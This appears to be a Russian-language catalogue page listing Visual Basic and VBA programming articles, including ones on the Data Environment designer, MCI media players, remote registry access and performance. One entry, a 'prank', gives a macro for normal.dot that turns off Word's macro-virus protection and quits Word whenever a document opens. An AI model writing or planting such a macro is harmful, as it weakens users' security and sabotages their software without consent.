| Использование конструктора Visual Basic 6.0 Data Environment |
В этой статье мы покажем основные возможности нового конструктора Data Environment, включенного в состав Visual Basic 6.0 и предназначенного для работы с данными. На трех примерах мы последовательно рассмотрим вопросы: |
Просмотров: 7569 | Скачиваний: 1733 |
Подробнее
|
|
| Программирование на VBA в Microsoft Office. |
Здесь мы рассмотрим технологию объектно-ориентированного программирования (ООП) на Visual Basic for Applications. Описывать преимущества данной технологии нет смысла — тот, кто не пробовал ее применять на практике, этого все равно не поймет. Поэтому сразу к делу. |
Просмотров: 16660 | Скачиваний: 4416 |
Подробнее
|
|
| Программирование на VBA в Microsoft Office. Проигрыватель звуковых файлов |
Здесь мы рассмотрим простейший пример применения мультимедиа в приложениях на Visual Basic for Applications — проигрывание WAV-файлов. Толковое озвучивание событий в прикладной программе всегда привлекает внимание пользователей и повышает их интерес к работе с этой программой. Остаётся узнать, как это сделать. |
Просмотров: 9428 | Скачиваний: 1926 |
Подробнее
|
|
| Программирование на VBA в Microsoft Office. Создаем свои объекты |
Здесь мы рассмотрим технологию объектно-ориентированного программирования (ООП) на Visual Basic for Applications. Описывать преимущества данной технологии нет смысла — тот, кто не пробовал ее применять на практике, этого все равно не поймет. Поэтому сразу к делу. Запустите Word или Excel, откройте документ со своим приложением и запустите редактор Visual Basic (для начинающих — комбинация Alt+F11). В окне проекта кликните правой кнопкой мыши и во всплывающем меню выберите пункт "Вставить->" и далее "Модуль класса" — объекты по аналогии с C/C++ называются классами, и каждый класс хранится в отдельном модуле класса. В дереве объектов выделите свой класс и в окне свойств наберите желаемое имя для него, например, MyClass. Это имя Вы будете использовать в дальнейшем в своих программах для создания экземпляров класса — переменных типа MyClass. Теперь дважды кликните по имени модуля класса в окне проекта — откроется пустое окно для ввода исходного текста. Все процедуры и функции, описанные в модуле класса, будут являться методами этого класса, соответственно, все переменные, описанные на уровне модуля, будут являться свойствами класса. Инкапсуляция осуществляется применением ключевых слов Public и Private перед описанием свойств и методов, а в остальном — все то же самое, например: |
Просмотров: 12996 | Скачиваний: 3331 |
Подробнее
|
|
| Программирование на VBA в Microsoft Office |
Как уже было написано в предыдущей статье, для полного контроля над проигрыванием мультимедийных файлов надо запрограммировать работу приложения с MCI — Media Control Interface. Этот интерфейс позволяет практически одинаково воспроизводить мультимедиа-данные различных типов. Все мультимедиа-объекты, такие как AVI-видеофайл, звуковой WAV-файл, музыкальные MIDI-файлы, треки компакт-диска и другие, воспринимаются MCI как устройства, которые можно открыть, воспроизвести и закрыть. Поэтому различия между выводом звуковых и видео-файлов минимальны. Так как MCI является составной частью Windows и работа с ним программируется с помощью функций WinAPI, то данная статья может представлять интерес и для разработчиков, использующих другие языки программирования. Рассмотрим пример объекта для проигрывания AVI-видеороликов в окне формы через MCI. |
Просмотров: 10372 | Скачиваний: 1829 |
Подробнее
|
|
| Программирование на VBA в MSOffice. |
Работа с интерфейсом MCI почти одинакова для различных видов мультимедиа — в этот раз будем программировать воспроизведение звуков и музыки по аналогии с выводом цифрового видео. Для этого желательно посмотреть оригинал предыдущей статьи "...Проигрыватель видео файлов..." (КГ № 4, 29.01.2002) и приведенные там исходные тексты. Принципиальных различий нет. Надо лишь убрать за ненадобностью описания функций WinAPI — GetActiveWindow и GetClientRect, а также блоки исходного текста, в котором они используются, т.к. для вывода звука указывать окно просто не нужно. А при открытии устройства MCI нужно указать "sequencer" в типе устройства вместо "avivideo" для проигрывания MIDI-файлов. Соответственно для WAV-файлов нужно указать "waveaudio". Рассмотрим эти моменты подробнее для варианта MIDI-проигрывателя. Создайте объект MidiPlayer и скопируйте туда исходный текст объекта VideoPlayer. Далее будем лишь вводить новые строки и выбрасывать лишние. Для описания основных свойств добавьте строки: Private MIDIFile As String |
Просмотров: 9861 | Скачиваний: 2198 |
Подробнее
|
|
| Как в Visual Basic 6.0 работать с реестром на удалённом компьютере |
В этой статье объясняется, как в приложении Visual Basic получить доступ к реестру на удалённой машине с использованием API функций. Данная технология работает в операционных системах Windows XP, Windows 2000, или Windows NT 4.0. |
Просмотров: 8581 | Скачиваний: 1499 |
Подробнее
|
|
| Программа для обработки логов миниАТС |
Компилятор: Visual Basic 6 Программа в реальном времени получает данные по последовательному порту и пишет в базу данных. Работа с базой через ADO. Для работы с последовательным портом используется компонент MSComm32. Для парсинга строки протокола используется компонент MSScript. |
Просмотров: 8542 | Скачиваний: 2215 |
Подробнее
|
|
| Западло на VBA. |
Нумбер раз. (Желательно это написать в normal.dot) Private Sub document_open() ' Как только откроется документ ... Options.VirusProtection = False ' ... снимаем защиту от макро вирусов (на всякий случай ;) ) Application.Quit ' И сразу закрываем Word :) End Sub Т.е. как только ламух откроет свой любимый Ворд то он сразу захлопнется |
Просмотров: 9522 | Скачиваний: 1887 |
Подробнее
|
|
| Быстродействие программы в VB |
Прежде всего заставьте программу работать, а затем беспокойтесь о ее быстродействии. Существует множество способов ускорения вашей VB программы. К сожалению, большинство из них не приводят к особо впечатляющим результатам. Даже если ваша программа работает с огромными коллекциями, преобразование их в массивы, возможно, спасет вам какой-то процент или два в процессе выполнения программы. С другой стороны, переписывание основных алгоритмов программы может сократить процесс выполнения в сотни раз. |
Просмотров: 9251 | Скачиваний: 1158 |
Подробнее
|
|
|
|
|